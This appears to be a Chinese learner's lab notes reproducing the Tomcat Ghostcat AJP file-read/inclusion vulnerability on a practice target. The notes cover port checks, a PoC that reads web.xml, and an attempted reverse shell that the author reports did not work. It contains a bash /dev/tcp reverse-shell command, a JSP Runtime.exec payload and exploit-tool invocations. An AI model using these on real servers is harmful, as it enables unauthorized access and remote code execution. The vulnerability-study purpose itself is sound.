学习时间2022.7.17
前言:
太阳下山有月光,月光落下有朝阳。
先看一下环境okk没有问题
先简单了解一下tomcat~
tomcat
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。
漏洞原理
Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。由而该漏洞由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
漏洞验证
检测了一下靶机ip端口发现8009端口开启(AJP默认端口8009)
可能存在漏洞
页面版本9.0.30可能存在漏洞
1.使用GitHub上面的poc进行验证
2.运行POC可查看tomcat的版本信息
python3 tomcat.py version 靶机ip
3.运行POC读取tomcat的配置文件信息web.xml
成功读到配置信息
反弹shell
文件包含利用工具
https://github.com/00theway/Ghostcat-CNVD-2020-10487
先将命令用base64加密
bash -i >& /dev/tcp/你的ip/9555 0>&1
<%Runtime.getRuntime().exec("bash -c {echo,base64编码后的
}|{base64,-d}|{bash,-i}");%>
将文件命名问cmd.txt上传服务器
开启端口监听
利用ajpShooter.py脚本执行文件包含漏洞
python3 ajpShooter.py http://靶机ip/cmd.txt eval
最后我也没出来呜呜呜